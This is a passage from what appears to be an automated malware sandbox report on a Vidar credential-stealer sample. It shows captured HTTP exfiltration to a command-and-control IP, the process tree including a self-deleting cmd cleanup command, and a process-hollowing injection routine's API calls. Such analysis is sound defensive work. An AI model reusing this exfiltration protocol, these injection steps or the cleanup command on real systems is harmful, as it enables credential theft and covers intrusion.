30 62 32 63 66 30 64 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 Data Ascii: ------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="token"5e2114c344718c2740c7f8c85866bab9------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="build_id"9ed287469c3721fd5caf346580b2cf0d------CGIDAAAKJJDBGCBFCBGICont
2024-05-15 18:36:26 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:36:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-15 18:36:26 UTC	131	IN	Data Raw: 37 38 0d 0a 52 47 56 6d 59 58 56 73 64 48 77 6c 52 45 39 44 56 55 31 46 54 6c 52 54 4a 56 78 38 4b 69 35 30 65 48 52 38 4e 54 42 38 64 48 4a 31 5a 58 77 71 64 32 6c 75 5a 47 39 33 63 79 70 38 5a 47 56 7a 61 33 52 76 63 48 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 6f 75 64 48 68 30 66 44 55 77 66 47 5a 68 62 48 4e 6c 66 43 70 33 61 57 35 6b 62 33 64 7a 4b 6e 77 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 78RGVmYXVsdHwlRE9DVU1FTlRTJVx8Ki50eHR8NTB8dHJ1ZXwqd2luZG93cyp8ZGVza3RvcHwlREVTS1RPUCVcfCoudHh0fDUwfGZhbHNlfCp3aW5kb3dzKnw=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49757	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:36:27 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGHJEBGHJKEBFHIJDHC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Content-Length: 453 Connection: Keep-Alive Cache-Control: no-cache
2024-05-15 18:36:27 UTC	453	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 32 31 31 34 63 33 34 34 37 31 38 63 32 37 34 30 63 37 66 38 63 38 35 38 36 36 62 61 62 39 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 65 64 32 38 37 34 36 39 63 33 37 32 31 66 64 35 63 61 66 33 34 36 35 38 30 62 32 63 66 30 64 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 Data Ascii: ------GCGHJEBGHJKEBFHIJDHCContent-Disposition: form-data; name="token"5e2114c344718c2740c7f8c85866bab9------GCGHJEBGHJKEBFHIJDHCContent-Disposition: form-data; name="build_id"9ed287469c3721fd5caf346580b2cf0d------GCGHJEBGHJKEBFHIJDHCCont
2024-05-15 18:36:27 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:36:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-15 18:36:27 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49758	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:36:29 UTC	328	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECAKECAEGDHIECBGHII User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Content-Length: 116501 Connection: Keep-Alive Cache-Control: no-cache
2024-05-15 18:36:29 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 32 31 31 34 63 33 34 34 37 31 38 63 32 37 34 30 63 37 66 38 63 38 35 38 36 36 62 61 62 39 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 65 64 32 38 37 34 36 39 63 33 37 32 31 66 64 35 63 61 66 33 34 36 35 38 30 62 32 63 66 30 64 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 Data Ascii: ------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="token"5e2114c344718c2740c7f8c85866bab9------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="build_id"9ed287469c3721fd5caf346580b2cf0d------AECAKECAEGDHIECBGHIICont
2024-05-15 18:36:29 UTC	16355	OUT	Data Raw: 78 2f 75 4e 2b 6c 47 34 2f 33 47 2f 53 67 42 6f 6a 41 78 67 6e 6a 39 61 46 58 62 78 75 4a 48 59 48 74 53 37 6a 2f 41 48 47 2f 53 6a 4a 2f 75 4e 2b 6c 41 78 76 6c 6a 4a 4a 4a 4a 4e 4b 55 42 4a 4f 53 44 6e 4f 52 52 75 50 39 78 76 30 6f 33 48 2b 34 33 36 55 44 41 49 41 51 63 6e 69 6d 65 58 67 41 42 69 4d 64 44 54 39 78 2f 75 4e 2b 6c 42 4a 2f 75 4e 2b 6c 41 78 68 6a 79 63 35 50 58 4a 46 4b 71 37 63 38 6e 6b 35 6f 33 48 2b 34 33 36 55 5a 50 39 78 76 30 6f 47 4b 52 53 55 62 6a 2f 63 62 39 4b 54 4a 2f 75 4e 2b 6c 41 43 30 6d 4b 54 4a 2f 75 4e 2b 6c 47 34 2f 33 47 2f 53 67 42 61 53 6a 4a 2f 75 4e 2b 6c 4e 4a 50 38 41 63 62 39 4b 43 68 61 4b 54 4a 2f 75 4e 2b 6c 47 34 2f 33 47 2f 53 67 41 4e 42 4e 4a 6b 35 2b 36 52 2b 56 4c 51 55 63 39 62 66 36 2b 35 2f 36 36 74 Data Ascii: x/uN+lG4/3G/SgBojAxgnj9aFXbxuJHYHtS7j/AHG/SjJ/uN+lAxvljJJJJNKUBJOSDnORRuP9xv0o3H+436UDAIAQcnimeXgABiMdDT9x/uN+lBJ/uN+lAxhjyc5PXJFKq7c8nk5o3H+436UZP9xv0oGKRSUbj/cb9KTJ/uN+lAC0mKTJ/uN+lG4/3G/SgBaSjJ/uN+lNJP8Acb9KChaKTJ/uN+lG4/3G/SgANBNJk5+6R+VLQUc9bf6+5/66t
2024-05-15 18:36:29 UTC	16355	OUT	Data Raw: 73 59 34 62 53 50 55 49 6d 64 56 2b 58 6f 36 6b 34 48 63 67 63 6b 2b 39 5a 2f 69 2b 36 65 48 78 66 71 65 35 44 73 38 34 34 49 72 61 74 76 46 65 70 32 59 6c 46 74 39 6e 69 45 73 68 6c 63 4a 43 41 43 78 36 6e 38 63 56 6b 58 6b 37 33 39 7a 4c 63 58 47 47 6b 6c 62 63 78 78 31 4e 65 4e 4c 4b 71 6c 64 32 71 36 4a 4c 51 2b 79 77 48 46 64 48 4c 61 6e 74 61 55 65 64 76 52 70 36 61 65 54 31 37 49 78 68 71 4d 66 2b 31 2b 56 42 31 4a 6d 4f 32 47 4e 6d 62 33 71 39 39 6a 74 79 66 38 41 55 70 2b 56 53 4a 45 6b 59 77 69 41 66 51 56 6a 44 68 75 6e 7a 58 6c 4c 51 39 32 74 34 6b 30 65 54 39 31 68 33 7a 65 62 56 76 77 58 2b 52 44 62 4a 4d 52 76 6e 62 35 6a 32 71 78 53 30 6d 4b 39 2f 44 34 61 6e 68 34 63 6c 4e 57 52 2b 62 35 6e 6d 6d 4a 7a 50 45 50 45 59 6c 33 66 34 4a 64 6b Data Ascii: sY4bSPUImdV+Xo6k4Hcgck+9Z/i+6eHxfqe5Ds844IratvFep2YlFt9niEshlcJCACx6n8cVkXk739zLcXGGklbcxx1NeNLKqld2q6JLQ+ywHFdHLantaUedvRp6aeT17IxhqMf+1+VB1JmO2GNmb3q99jtyf8AUp+VSJEkYwiAfQVjDhunzXlLQ92t4k0eT91h3zebVvwX+RDbJMRvnb5j2qxS0mK9/D4anh4clNWR+b5nmmJzPEPEYl3f4Jdk
2024-05-15 18:36:29 UTC	16355	OUT	Data Raw: 4e 46 6c 4f 66 34 63 66 55 30 38 57 44 39 35 46 48 30 71 39 6a 31 6f 70 65 30 6b 46 69 6f 74 68 48 33 64 6a 39 42 55 67 73 34 42 2f 43 54 39 54 56 6a 36 30 56 50 4e 4c 75 4f 78 55 75 34 59 30 74 47 5a 45 55 45 4d 42 78 53 61 63 66 6c 6c 36 64 71 6c 76 66 2b 50 46 2f 77 44 66 48 39 61 68 30 34 38 53 2f 68 54 54 62 67 78 64 53 37 7a 36 30 55 55 56 41 77 70 61 51 55 74 4d 41 6f 6f 70 65 6c 49 41 6f 7a 6d 69 69 6b 49 4b 50 70 52 52 51 41 43 6c 70 50 77 70 65 31 41 42 2b 4e 4c 53 41 55 74 49 51 55 74 4a 33 6f 46 41 42 53 69 6a 47 65 61 4b 41 46 46 58 39 4f 36 58 58 2f 58 74 4a 56 41 56 6f 61 64 31 75 52 2f 30 37 76 38 41 79 72 43 74 38 44 45 74 7a 68 48 36 31 45 54 55 72 39 54 55 52 72 32 34 62 48 54 45 51 38 43 6d 64 44 54 7a 37 55 30 43 74 43 78 70 37 55 30 Data Ascii: NFlOf4cfU08WD95FH0q9j1ope0kFiothH3dj9BUgs4B/CT9TVj60VPNLuOxUu4Y0tGZEUEMBxSacfll6dqlvf+PF/wDfH9ah048S/hTTbgxdS7z60UUVAwpaQUtMAoopelIAozmiikIKPpRRQAClpPwpe1AB+NLSAUtIQUtJ3oFABSijGeaKAFFX9O6XX/XtJVAVoad1uR/07v8AyrCt8DEtzhH61ETUr9TURr24bHTEQ8CmdDTz7U0CtCxp7U0
2024-05-15 18:36:29 UTC	16355	OUT	Data Raw: 36 63 5a 56 73 64 6b 33 6d 2f 62 44 2b 39 55 5a 38 76 79 38 37 41 49 2f 76 39 7a 33 34 71 43 4f 30 31 48 58 56 74 39 52 74 2f 74 54 36 59 74 6a 45 49 58 74 31 4a 53 32 6b 43 44 7a 51 35 48 2b 72 62 66 75 59 35 78 6e 49 50 51 31 72 48 4d 33 4b 58 49 6c 62 58 72 74 62 58 38 37 47 45 73 6a 55 49 65 30 6c 4b 36 74 73 74 37 36 61 66 4b 35 73 41 4d 5a 54 45 49 35 54 4b 42 6b 78 69 4e 74 33 54 50 54 47 65 6e 4e 4e 56 74 37 73 69 4b 37 4f 72 42 57 52 55 4a 49 4a 49 55 41 67 63 35 79 51 50 71 63 56 68 33 72 54 79 2b 48 52 65 52 7a 37 5a 39 51 68 68 30 77 62 54 38 77 61 49 2f 76 47 78 32 79 69 51 38 2f 37 5a 71 31 4a 64 58 45 32 75 65 46 44 47 4a 42 4c 71 4f 6f 77 58 64 2f 4a 32 64 6f 35 66 4b 41 48 73 53 72 75 66 64 2f 61 70 65 5a 7a 58 32 65 74 76 6e 76 39 31 74 Data Ascii: 6cZVsdk3m/bD+9UZ8vy87AI/v9z34qCO01HXVt9Rt/tT6YtjEIXt1JS2kCDzQ5H+rbfuY5xnIPQ1rHM3KXIlbXrtbX87GEsjUIe0lK6tst76afK5sAMZTEI5TKBkxiNt3TPTGenNNVt7siK7OrBWRUJIJIUAgc5yQPqcVh3rTy+HReRz7Z9Qhh0wbT8waI/vGx2yiQ8/7Zq1JdXE2ueFDGJBLqOowXd/J2do5fKAHsSrufd/apeZzX2etvnv91t
2024-05-15 18:36:29 UTC	16355	OUT	Data Raw: 45 39 61 53 6d 6e 4e 42 4e 49 71 77 74 49 61 54 4e 46 4d 59 47 6b 7a 52 30 70 4d 30 72 6a 44 4e 4a 6d 67 39 36 53 67 59 47 6b 7a 78 51 61 51 30 69 67 37 30 47 67 2f 54 70 53 55 78 68 6d 6d 30 76 57 6b 6f 47 4c 53 47 69 6a 6d 67 59 6d 61 54 70 6d 6a 76 52 6e 6a 69 6c 63 61 45 2f 7a 6d 6a 31 36 30 66 53 6a 74 36 55 44 45 50 50 31 6f 37 30 76 36 55 68 70 6a 51 6e 61 6b 36 47 6c 35 4e 49 54 6a 4e 41 77 49 4f 66 57 6b 77 65 6c 4c 6a 6e 6e 38 36 42 51 41 6d 4f 42 36 55 6e 54 46 4b 65 6c 4a 37 2f 30 6f 47 4a 2b 46 48 57 6a 70 53 65 74 4b 34 77 7a 6e 76 38 41 68 51 4b 42 78 7a 52 51 4d 53 6b 7a 53 6b 30 67 34 46 4d 41 70 4d 63 55 6f 34 39 6a 53 64 71 42 6f 39 48 6f 6f 33 43 6a 64 57 52 38 67 64 46 34 4d 2f 35 44 45 33 2f 58 75 66 38 41 30 4a 61 37 47 38 50 2b 69 Data Ascii: E9aSmnNBNIqwtIaTNFMYGkzR0pM0rjDNJmg96SgYGkzxQaQ0ig70Gg/TpSUxhmm0vWkoGLSGijmgYmaTpmjvRnjilcaE/zmj160fSjt6UDEPP1o70v6UhpjQnak6Gl5NITjNAwIOfWkwelLjnn86BQAmOB6UnTFKelJ7/0oGJ+FHWjpSetK4wznv8AhQKBxzRQMSkzSk0g4FMApMcUo49jSdqBo9Hoo3CjdWR8gdF4M/5DE3/Xuf8A0Ja7G8P+i
2024-05-15 18:36:29 UTC	16355	OUT	Data Raw: 42 4b 51 30 76 65 6b 6f 47 46 4a 53 6d 6b 6f 47 46 4a 53 30 6c 41 77 70 4b 4b 51 30 44 43 6b 70 61 53 67 41 70 44 53 30 6c 41 77 4e 4a 52 53 47 67 59 55 47 69 67 30 44 45 70 4f 39 42 6f 6f 47 4a 52 52 52 51 4d 53 67 30 55 47 67 59 6c 4a 51 61 4b 59 49 44 53 55 70 70 4b 51 78 4b 53 6c 70 4b 43 68 4f 39 42 6f 46 46 41 43 55 6d 4b 57 6b 70 6c 42 32 70 4b 57 6b 6f 41 53 69 69 6b 6f 47 46 4a 52 32 6f 4e 42 51 55 68 6f 4e 49 61 41 43 6b 70 61 53 67 59 55 6c 4c 53 48 4e 49 61 45 6f 6f 37 38 30 59 7a 54 4b 45 6f 49 7a 52 51 61 41 45 6f 50 53 6a 6f 4b 54 50 76 51 55 4a 52 6d 69 6a 48 31 6f 41 50 72 53 64 65 39 4c 31 70 4d 67 55 68 69 47 67 2b 6c 42 34 70 4b 59 77 34 78 2f 68 51 65 67 6f 36 55 48 46 41 78 4f 74 4a 6a 74 6a 4e 4f 37 2b 6c 4a 51 41 68 35 6f 36 30 5a Data Ascii: BKQ0vekoGFJSmkoGFJS0lAwpKKQ0DCkpaSgApDS0lAwNJRSGgYUGig0DEpO9BooGJRRRQMSg0UGgYlJQaKYIDSUppKQxKSlpKChO9BoFFACUmKWkplB2pKWkoASiikoGFJR2oNBQUhoNIaACkpaSgYUlLSHNIaEoo780YzTKEoIzRQaAEoPSjoKTPvQUJRmijH1oAPrSde9L1pMgUhiGg+lB4pKYw4x/hQego6UHFAxOtJjtjNO7+lJQAh5o60Z
2024-05-15 18:36:29 UTC	2016	OUT	Data Raw: 37 69 63 6d 30 6b 2b 69 74 39 77 55 55 55 56 59 6a 73 66 44 2f 69 53 4e 62 65 4f 31 75 35 42 47 38 65 42 48 49 65 68 48 75 65 78 72 30 72 52 4e 66 31 4b 2b 66 5a 4c 71 59 57 7a 6a 58 4d 73 78 32 42 74 76 70 35 6d 4e 33 50 31 72 77 53 69 75 4f 76 68 48 4f 4d 6c 54 6c 79 74 6d 4d 4b 45 49 56 56 55 36 64 56 33 50 57 66 69 42 38 51 62 53 62 54 70 64 49 30 65 59 54 74 4d 4e 73 38 36 48 35 56 58 75 6f 39 53 61 38 6d 6f 6f 6f 77 4f 42 70 59 4f 6c 37 4f 6e 38 33 33 4f 32 76 58 6c 58 6e 7a 53 43 69 69 75 69 74 76 41 33 69 53 37 74 59 62 6d 44 54 74 38 4d 79 43 53 4e 76 50 6a 47 56 49 79 44 67 74 36 56 32 71 4c 6c 73 6a 6e 63 6b 74 32 53 2b 48 66 45 43 57 6b 58 32 4f 36 62 62 47 44 6d 4e 2f 54 32 4e 65 6d 61 48 34 67 31 4f 36 65 4b 31 74 39 53 48 6b 41 5a 4d 70 43 Data Ascii: 7icm0k+it9wUUUVYjsfD/iSNbeO1u5BG8eBHIehHuexr0rRNf1K+fZLqYWzjXMsx2Btvp5mN3P1rwSiuOvhHOMlTlytmMKEIVVU6dV3PWfiB8QbSbTpdI0eYTtMNs86H5VXuo9Sa8mooowOBpYOl7On833O2vXlXnzSCiiuitvA3iS7tYbmDTt8MyCSNvPjGVIyDgt6V2qLlsjnckt2S+HfECWkX2O6bbGDmN/T2NemaH4g1O6eK1t9SHkAZMpC
2024-05-15 18:36:30 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-15 18:36:30 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49759	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:36:31 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDGCGHCGHCBFHJJKKJE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-15 18:36:31 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 32 31 31 34 63 33 34 34 37 31 38 63 32 37 34 30 63 37 66 38 63 38 35 38 36 36 62 61 62 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 65 64 32 38 37 34 36 39 63 33 37 32 31 66 64 35 63 61 66 33 34 36 35 38 30 62 32 63 66 30 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 Data Ascii: ------JJDGCGHCGHCBFHJJKKJEContent-Disposition: form-data; name="token"5e2114c344718c2740c7f8c85866bab9------JJDGCGHCGHCBFHJJKKJEContent-Disposition: form-data; name="build_id"9ed287469c3721fd5caf346580b2cf0d------JJDGCGHCGHCBFHJJKKJECont
2024-05-15 18:36:32 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:36:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-15 18:36:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49760	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:36:32 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAAFBKECAKEHIEBAFIE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-15 18:36:32 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 32 31 31 34 63 33 34 34 37 31 38 63 32 37 34 30 63 37 66 38 63 38 35 38 36 36 62 61 62 39 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 65 64 32 38 37 34 36 39 63 33 37 32 31 66 64 35 63 61 66 33 34 36 35 38 30 62 32 63 66 30 64 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 Data Ascii: ------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="token"5e2114c344718c2740c7f8c85866bab9------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="build_id"9ed287469c3721fd5caf346580b2cf0d------DAAAFBKECAKEHIEBAFIECont
2024-05-15 18:36:33 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:36:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-15 18:36:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	20:35:49
Start date:	15/05/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x6e0000
File size:	382'976 bytes
MD5 hash:	B580FF2D001291BF58BDD23A058EF21B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:35:49
Start date:	15/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:35:49
Start date:	15/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x4e0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:35:49
Start date:	15/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x910000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation, Description: Detects executables containing potential Windows Defender anti-emulation checks, Source: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:36:34
Start date:	15/05/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\GHIJJEGDBFII" & exit
Imagebase:	0x7ff72bec0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:36:34
Start date:	15/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:36:34
Start date:	15/05/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0xd00000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	75

Executed Functions

Function 02CD018D Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 02CD02FC
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02CD030F
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 02CD032D
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 02CD0351
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 02CD037C
TerminateProcess.KERNELBASE(?,00000000), ref: 02CD039B
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 02CD03D4
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 02CD041F
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 02CD045D
Wow64SetThreadContext.KERNEL32(?,?), ref: 02CD0499
ResumeThread.KERNELBASE(?), ref: 02CD04A8

Strings

GetP, xrefs: 02CD020F
aryA, xrefs: 02CD01D3
Load, xrefs: 02CD01CB
ress, xrefs: 02CD0217

Memory Dump Source

Source File: 00000000.00000002.1590000008.0000000002CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cd0000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: GetP$Load$aryA$ress
API String ID: 2440066154-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
